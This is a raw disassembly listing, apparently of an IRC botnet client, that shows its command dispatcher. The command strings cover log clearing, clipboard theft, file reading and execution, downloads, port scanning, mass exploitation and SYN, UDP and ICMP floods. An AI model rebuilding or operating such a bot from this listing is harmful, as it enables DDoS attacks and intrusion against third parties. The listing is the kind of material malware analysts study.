		test	eax, eax
		pop	ecx
		jz	loc_40DEE6
		push	edi
		push	offset aBox_rebewt ; "box.rebewt"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A376
		call	sub_4070B7
		test	eax, eax
		mov	eax, offset dword_42C704
		jnz	short loc_40A348
		mov	eax, offset dword_42C6CC


loc_40A348:				; CODE XREF: seg000:0040A341j
		push	eax
		lea	eax, [ebp-2E4h]
		push	eax
		call	sub_41050B
		push	ebx
		lea	eax, [ebp-2E4h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-98h]
		push	dword ptr [ebp+0Ch]
		call	sub_40E367
		add	esp, 1Ch
		jmp	loc_40C67D
; ---------------------------------------------------------------------------


loc_40A376:				; CODE XREF: seg000:0040A333j
		push	edi
		push	offset aThreads_list ; "threads.list"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DDEF
		push	edi
		push	offset aThreads_l ; "threads.l"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DDEF
		push	edi
		push	offset aEnz_aliases ; "enz.aliases"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DDCC
		push	edi
		push	offset aEnz_al	; "enz.al"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DDCC
		push	edi
		push	offset aEnz_log	; "enz.log"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DCDC
		push	edi
		push	offset aEnz_lg	; "enz.lg"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DCDC
		push	edi
		push	offset aUtil_clearlog ;	"util.clearlog"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DCC0
		push	edi
		push	offset aUtil_clg ; "util.clg"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DCC0
		push	edi
		push	offset aBox_netinfo ; "box.netinfo"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DC86
		push	edi
		push	offset aBox_ni	; "box.ni"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DC86
		push	edi
		push	offset aBox_sysinfo ; "box.sysinfo"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DC5B
		push	edi
		push	offset aBox_si	; "box.si"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DC5B
		push	edi
		push	offset aEnz_be010ne ; "enz.be010ne"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DC21
		push	edi
		push	offset aEnz_010	; "enz.010"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DC21
		push	edi
		push	offset aBox_procs ; "box.procs"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DAFE
		push	edi
		push	offset aBox_ps	; "box.ps"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DAFE
		push	edi
		push	offset aBox_uptime ; "box.uptime"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DA77
		push	edi
		push	offset aBox_up	; "box.up"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DA77
		push	edi
		push	offset aBox_driveinfo ;	"box.driveinfo"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DA5A
		push	edi
		push	offset aBox_drv	; "box.drv"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DA5A
		push	edi
		push	offset aBox_testdlls ; "box.testdlls"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DA41
		push	edi
		push	offset aBox_dll	; "box.dll"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DA41
		push	edi
		push	offset aEnz_who	; "enz.who"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A5CB
		cmp	[ebp-8], ebx
		jnz	short loc_40A574
		push	ebx
		push	dword ptr [ebp-4]
		push	offset aLoginList ; "-[Login List]-"
		push	dword ptr [ebp-98h]
		push	dword ptr [ebp+0Ch]
		call	sub_40E367
		add	esp, 14h


loc_40A574:				; CODE XREF: seg000:0040A558j
		mov	edi, [ebp+20h]
		xor	esi, esi


loc_40A579:				; CODE XREF: seg000:0040A5BFj
		cmp	[edi], bl
		lea	eax, [edi+1]
		jnz	short loc_40A585
		mov	eax, offset aEmpty ; "<Empty>"


loc_40A585:				; CODE XREF: seg000:0040A57Ej
		push	eax
		push	esi
		lea	eax, [ebp-2E4h]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_41050B
		push	1
		lea	eax, [ebp-2E4h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-98h]
		push	dword ptr [ebp+0Ch]
		call	sub_40E367
		add	esp, 24h
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40A579
		push	offset dword_42C580
		jmp	loc_40DEDB
; ---------------------------------------------------------------------------


loc_40A5CB:				; CODE XREF: seg000:0040A553j
		push	edi
		push	offset aBox_getclip ; "box.getclip"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DA00
		push	edi
		push	offset aBox_gc	; "box.gc"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DA00
		push	edi
		push	offset aUtil_flusharp ;	"util.flusharp"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D9D5
		push	edi
		push	offset aUtil_farp ; "util.farp"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D9D5
		push	edi
		push	offset aUtil_flushdns ;	"util.flushdns"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D9B1
		push	edi
		push	offset aUtil_fdns ; "util.fdns"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D9B1
		push	edi
		push	offset aVuln_currentip ; "vuln.currentip"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D977
		push	edi
		push	offset aVuln_cip ; "vuln.cip"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D977
		push	edi
		push	offset aServer_httpd_o ; "server.httpd.on"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D7DD
		push	edi
		push	offset aServer_web_on ;	"server.web.on"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D7DD
		push	edi
		push	offset aServer_tftp_on ; "server.tftp.on"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D691
		push	edi
		push	offset aServer_tf_on ; "server.tf.on"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D691
		push	edi
		push	offset aVuln_massexplo ; "vuln.massexploit"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D384
		push	edi
		push	offset aVall	; "vall"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D384
		mov	edi, [ebp+esi-9Ch]
		cmp	edi, ebx
		jz	loc_40980B
		push	dword ptr [ebp+18h]
		push	offset aEnz_nick ; "enz.nick"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D363
		push	dword ptr [ebp+18h]
		push	offset aEnz_n	; "enz.n"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D363
		push	dword ptr [ebp+18h]
		push	offset aEnz_join ; "enz.join"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D343
		push	dword ptr [ebp+18h]
		push	offset aEnz_j	; "enz.j"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D343
		push	dword ptr [ebp+18h]
		push	offset aEnz_part ; "enz.part"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D32D
		push	dword ptr [ebp+18h]
		push	offset aEnz_pt	; "enz.pt"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D32D
		push	dword ptr [ebp+18h]
		push	offset aEnz_raw	; "enz.raw"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D2F9
		push	dword ptr [ebp+18h]
		push	offset aEnz_r	; "enz.r"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D2F9
		push	dword ptr [ebp+18h]
		push	offset aThreads_kill ; "threads.kill"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D236
		push	dword ptr [ebp+18h]
		push	offset aThreads_k ; "threads.k"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D236
		push	dword ptr [ebp+18h]
		push	offset aClone_quit ; "clone.quit"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D18B
		push	dword ptr [ebp+18h]
		push	offset aClone_q	; "clone.q"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D18B
		push	dword ptr [ebp+18h]
		push	offset aClone_rndnick ;	"clone.rndnick"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D143
		push	dword ptr [ebp+18h]
		push	offset aClone_rn ; "clone.rn"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D143
		push	dword ptr [ebp+18h]
		push	offset aEnz_prefix ; "enz.prefix"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D12E
		push	dword ptr [ebp+18h]
		push	offset aEnz_pr	; "enz.pr"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D12E
		push	dword ptr [ebp+18h]
		push	offset aBox_open ; "box.open"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D104
		push	dword ptr [ebp+18h]
		push	offset aBox_o	; "box.o"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx


loc_40A898:				; DATA XREF: seg002:0041ECCCo
					; seg002:0041ED10o ...
		jz	loc_40D104
		push	dword ptr [ebp+18h]
		push	offset aEnz_setserve ; "enz.setserve"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D0DF
		push	dword ptr [ebp+18h]
		push	offset aEnz_se	; "enz.se"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D0DF
		push	dword ptr [ebp+18h]
		push	offset aEnz_dns	; "enz.dns"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D04D
		push	dword ptr [ebp+18h]
		push	offset aEnz_dn	; "enz.dn"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D04D
		push	dword ptr [ebp+18h]
		push	offset aBox_killprocna ; "box.killprocname"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D021
		push	dword ptr [ebp+18h]
		push	offset aBox_kpn	; "box.kpn"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D021
		push	dword ptr [ebp+18h]
		push	offset aBox_prockillid ; "box.prockillid"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CFC6
		push	dword ptr [ebp+18h]
		push	offset aBox_pkid ; "box.pkid"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CFC6
		push	dword ptr [ebp+18h]
		push	offset aBox_delete ; "box.delete"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CF8F
		push	dword ptr [ebp+18h]
		push	offset aBox_del	; "box.del"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CF8F
		push	dword ptr [ebp+18h]
		push	offset aBox_filelist ; "box.filelist"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CF74
		push	dword ptr [ebp+18h]
		push	offset aBox_fl	; "box.fl"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CF74
		push	dword ptr [ebp+18h]
		push	offset aMirc_cmd ; "mirc.cmd"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CF39
		push	dword ptr [ebp+18h]
		push	offset aMirc_cmd ; "mirc.cmd"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CF39
		push	dword ptr [ebp+18h]
		push	offset aBox_readfile ; "box.readfile"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CEA5
		push	dword ptr [ebp+18h]
		push	offset aBox_rf	; "box.rf"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CEA5
		push	dword ptr [ebp+18h]
		push	offset aBox_net	; "box.net"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40ACAA
		cmp	ds:dword_430860, ebx
		jz	short loc_40AA3F
		cmp	ds:dword_430888, ebx
		jz	short loc_40AA3F
		push	offset dword_42C2F8
		jmp	loc_40D0A7
; ---------------------------------------------------------------------------


loc_40AA3F:				; CODE XREF: seg000:0040AA2Bj
					; seg000:0040AA33j
		cmp	[ebp-0Ch], ebx
		jz	loc_40D0B5
		mov	eax, [ebp+esi-98h]
		mov	[ebp+8], ebx
		cmp	eax, ebx
		mov	[ebp+20h], eax
		jz	short loc_40AA67
		push	eax
		push	dword ptr [ebp-0Ch]
		call	sub_410AE0
		pop	ecx
		mov	[ebp+8], eax
		pop	ecx


loc_40AA67:				; CODE XREF: seg000:0040AA57j
		push	edi
		push	offset aStart	; "start"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40AACD
		cmp	[ebp+20h], ebx
		jz	short loc_40AAA1
		push	dword ptr [ebp+8]
		push	3


loc_40AA82:				; CODE XREF: seg000:0040AAE3j
					; seg000:0040AAFBj ...
		call	sub_40E402
		push	eax
		lea	eax, [ebp-2E4h]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41050B
		add	esp, 14h
		jmp	loc_40D0B5
; ---------------------------------------------------------------------------


loc_40AAA1:				; CODE XREF: seg000:0040AA7Bj
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-98h]
		push	dword ptr [ebp+0Ch]
		call	sub_40E6A9
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40AAC3
		push	offset dword_42C2C0
		jmp	loc_40D0A7
; ---------------------------------------------------------------------------


loc_40AAC3:				; CODE XREF: seg000:0040AAB7j
		push	offset dword_42C28C
		jmp	loc_40D0A7
; ---------------------------------------------------------------------------


loc_40AACD:				; CODE XREF: seg000:0040AA76j
		push	edi
		push	offset aStop	; "stop"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40AAE5
		push	dword ptr [ebp+8]
		push	4
		jmp	short loc_40AA82
; ---------------------------------------------------------------------------


loc_40AAE5:				; CODE XREF: seg000:0040AADCj
		push	edi
		push	offset aPause	; "pause"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40AAFD
		push	dword ptr [ebp+8]
		push	5
		jmp	short loc_40AA82
; ---------------------------------------------------------------------------


loc_40AAFD:				; CODE XREF: seg000:0040AAF4j
		push	edi
		push	offset aContinue ; "continue"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40AB18
		push	dword ptr [ebp+8]
		push	6
		jmp	loc_40AA82
; ---------------------------------------------------------------------------


loc_40AB18:				; CODE XREF: seg000:0040AB0Cj
		push	edi
		push	offset aDelete	; "delete"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40AB33
		push	dword ptr [ebp+8]
		push	1
		jmp	loc_40AA82
; ---------------------------------------------------------------------------


loc_40AB33:				; CODE XREF: seg000:0040AB27j
		push	edi
		push	offset aShare	; "share"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40ABB0
		cmp	[ebp+20h], ebx
		jz	short loc_40AB83
		cmp	[ebp-9B0h], bl
		jz	short loc_40AB59
		push	ebx
		push	dword ptr [ebp+20h]
		push	1
		jmp	short loc_40AB64
; ---------------------------------------------------------------------------


loc_40AB59:				; CODE XREF: seg000:0040AB4Fj
		push	dword ptr [ebp+esi-94h]
		push	dword ptr [ebp+20h]
		push	ebx


loc_40AB64:				; CODE XREF: seg000:0040AB57j
		call	sub_40E7E6
		push	eax
		lea	eax, [ebp-2E4h]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41050B
		add	esp, 18h
		jmp	loc_40D0B5
; ---------------------------------------------------------------------------


loc_40AB83:				; CODE XREF: seg000:0040AB47j
		push	ebx
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-98h]
		push	dword ptr [ebp+0Ch]
		call	sub_40E9DB
		add	esp, 10h
		test	eax, eax
		jz	short loc_40ABA6
		push	offset dword_42C238
		jmp	loc_40D0A7
; ---------------------------------------------------------------------------


loc_40ABA6:				; CODE XREF: seg000:0040AB9Aj
		push	offset dword_42C204
		jmp	loc_40D0A7
; ---------------------------------------------------------------------------


loc_40ABB0:				; CODE XREF: seg000:0040AB42j
		push	edi
		push	offset aUser	; "user"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40AC52
		mov	eax, [ebp+20h]
		cmp	eax, ebx
		jz	short loc_40AC25
		cmp	[ebp-9B0h], bl
		jz	short loc_40ABE6
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-98h]
		push	dword ptr [ebp+0Ch]
		push	ebx
		push	eax
		push	1
		jmp	short loc_40AC06
; ---------------------------------------------------------------------------


loc_40ABE6:				; CODE XREF: seg000:0040ABD2j
		push	dword ptr [ebp-4]
		mov	esi, [ebp+esi-94h]
		cmp	esi, ebx
		push	dword ptr [ebp-98h]
		push	dword ptr [ebp+0Ch]
		jz	short loc_40AC02
		push	esi
		push	eax
		push	ebx
		jmp	short loc_40AC06
; ---------------------------------------------------------------------------


loc_40AC02:				; CODE XREF: seg000:0040ABFBj
		push	ebx
		push	eax
		push	2


loc_40AC06:				; CODE XREF: seg000:0040ABE4j
					; seg000:0040AC00j
		call	sub_40EAFC
		push	eax
		lea	eax, [ebp-2E4h]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41050B
		add	esp, 24h
		jmp	loc_40D0B5
; ---------------------------------------------------------------------------


loc_40AC25:				; CODE XREF: seg000:0040ABCAj
		push	ebx
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-98h]
		push	dword ptr [ebp+0Ch]
		call	sub_40F010
		add	esp, 10h
		test	eax, eax
		jz	short loc_40AC48
		push	offset dword_42C1C8
		jmp	loc_40D0A7
; ---------------------------------------------------------------------------


loc_40AC48:				; CODE XREF: seg000:0040AC3Cj
		push	offset dword_42C198
		jmp	loc_40D0A7
; ---------------------------------------------------------------------------


loc_40AC52:				; CODE XREF: seg000:0040ABBFj
		push	edi
		push	offset aSend	; "send"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40ACA0
		cmp	[ebp+20h], ebx
		jz	short loc_40AC96
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-98h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_40F2C4
		push	eax
		lea	eax, [ebp-2E4h]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41050B
		add	esp, 1Ch
		jmp	loc_40D0B5
; ---------------------------------------------------------------------------


loc_40AC96:				; CODE XREF: seg000:0040AC66j
		push	offset dword_42C164
		jmp	loc_40D0A7
; ---------------------------------------------------------------------------


loc_40ACA0:				; CODE XREF: seg000:0040AC61j
		push	offset dword_42C134
		jmp	loc_40D0A7
; ---------------------------------------------------------------------------


loc_40ACAA:				; CODE XREF: seg000:0040AA1Fj
		push	dword ptr [ebp+18h]
		push	offset aEnz_gethost ; "enz.gethost"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CDC1
		push	dword ptr [ebp+18h]
		push	offset aEnz_gh	; "enz.gh"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CDC1
		mov	eax, [ebp+esi-98h]
		cmp	eax, ebx
		mov	[ebp+20h], eax
		jz	loc_40980B
		push	dword ptr [ebp+18h]
		push	offset aEnz_addalias ; "enz.addalias"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CD82
		push	dword ptr [ebp+18h]
		push	offset aEnz_aa	; "enz.aa"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CD82
		push	dword ptr [ebp+18h]
		push	offset aEnz_privmsg ; "enz.privmsg"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CD2C
		push	dword ptr [ebp+18h]
		push	offset aEnz_pm	; "enz.pm"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CD2C
		push	dword ptr [ebp+18h]
		push	offset aEnz_action ; "enz.action"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CCBE
		push	dword ptr [ebp+18h]
		push	offset aEnz_ac	; "enz.ac"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CCBE
		push	dword ptr [ebp+18h]
		push	offset aEnz_cycle ; "enz.cycle"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CC58
		push	dword ptr [ebp+18h]
		push	offset aEnz_cy	; "enz.cy"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CC58
		push	dword ptr [ebp+18h]
		push	offset aEnz_mode ; "enz.mode"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CC21
		push	dword ptr [ebp+18h]
		push	offset aEnz_m	; "enz.m"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CC21
		push	dword ptr [ebp+18h]
		push	offset aClone_raw ; "clone.raw"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CBB6
		push	dword ptr [ebp+18h]
		push	offset aClone_ra ; "clone.ra"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CBB6
		push	dword ptr [ebp+18h]
		push	offset aClone_mode ; "clone.mode"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CB34
		push	dword ptr [ebp+18h]
		push	offset aClone_m	; "clone.m"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CB34
		push	dword ptr [ebp+18h]
		push	offset aClone_nick ; "clone.nick"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CAC6
		push	dword ptr [ebp+18h]
		push	offset aClone_ni ; "clone.ni"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CAC6
		push	dword ptr [ebp+18h]
		push	offset aClone_join ; "clone.join"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CAA0
		push	dword ptr [ebp+18h]
		push	offset aClone_j	; "clone.j"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CAA0
		push	dword ptr [ebp+18h]
		push	offset aClone_part ; "clone.part"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CA40
		push	dword ptr [ebp+18h]
		push	offset aClone_p	; "clone.p"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CA40
		push	dword ptr [ebp+18h]
		push	offset aEnz_repeat ; "enz.repeat"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C97A
		push	dword ptr [ebp+18h]
		push	offset aEnz_rp	; "enz.rp"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C97A
		push	dword ptr [ebp+18h]
		push	offset aEnz_delay ; "enz.delay"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C8DF
		push	dword ptr [ebp+18h]
		push	offset aEnz_de	; "enz.de"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C8DF
		push	dword ptr [ebp+18h]
		push	offset aDownload_up010 ; "download.up010"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C727
		push	dword ptr [ebp+18h]
		push	offset aDownload_010 ; "download.010"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C727
		push	dword ptr [ebp+18h]
		push	offset aBox_execute ; "box.execute"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C694
		push	dword ptr [ebp+18h]
		push	offset aBox_e	; "box.e"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C694
		push	dword ptr [ebp+18h]
		push	offset aBox_rename ; "box.rename"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C610
		push	dword ptr [ebp+18h]
		push	offset aBox_mv	; "box.mv"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C610
		push	dword ptr [ebp+18h]
		push	offset aDdos_icmp ; "ddos.icmp"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C515
		push	dword ptr [ebp+18h]
		push	offset aDdos_ic	; "ddos.ic"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C515
		mov	eax, [ebp+esi-94h]
		cmp	eax, ebx
		mov	[ebp+8], eax
		jz	loc_40980B
		push	dword ptr [ebp+18h]
		push	offset aClone_make ; "clone.make"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C42A
		push	dword ptr [ebp+18h]
		push	offset aClone_start ; "clone.start"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C42A
		push	dword ptr [ebp+18h]
		push	offset aDs_sy1	; "ds.sy1"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C325
		push	dword ptr [ebp+18h]
		push	offset aDs_ack	; "ds.ack"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C325
		push	dword ptr [ebp+18h]
		push	offset aDs_rm	; "ds.rm"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C325
		push	dword ptr [ebp+18h]
		push	offset aDdos_synflood ;	"ddos.synflood"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C227
		push	dword ptr [ebp+18h]
		push	offset aSy1	; "sy1"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C227
		push	dword ptr [ebp+18h]
		push	offset aDonad_frwww ; "donad.frwww"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C0E6
		push	dword ptr [ebp+18h]
		push	offset aD1	; "d1"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C0E6
		push	dword ptr [ebp+18h]
		push	offset aServer_redir_0 ; "server.redirect.on"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40BFEC
		push	dword ptr [ebp+18h]
		push	offset aServer_rd_on ; "server.rd.on"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40BFEC
		push	dword ptr [ebp+18h]
		push	offset aEnz_portscan ; "enz.portscan"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40BEF9
		push	dword ptr [ebp+18h]
		push	offset aEnz_ps	; "enz.ps"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40BEF9
		push	dword ptr [ebp+18h]
		push	offset aClone_privmsg ;	"clone.privmsg"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40BE24
		push	dword ptr [ebp+18h]
		push	offset aClone_pm ; "clone.pm"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40BE24
		push	dword ptr [ebp+18h]
		push	offset aClone_action ; "clone.action"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40BD12
		push	dword ptr [ebp+18h]
		push	offset aClone_ac ; "clone.ac"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40BD12
		mov	eax, [ebp+esi-90h]
		cmp	eax, ebx
		mov	[ebp+10h], eax
		jz	loc_40980B
		push	dword ptr [ebp+18h]
		push	offset aVuln_start ; "vuln.start"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40B9B8
		push	dword ptr [ebp+18h]
		push	offset aVvv	; "vvv"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40B9B8
		push	dword ptr [ebp+18h]
		push	offset aDdos_udpflood ;	"ddos.udpflood"
		call	sub_410930
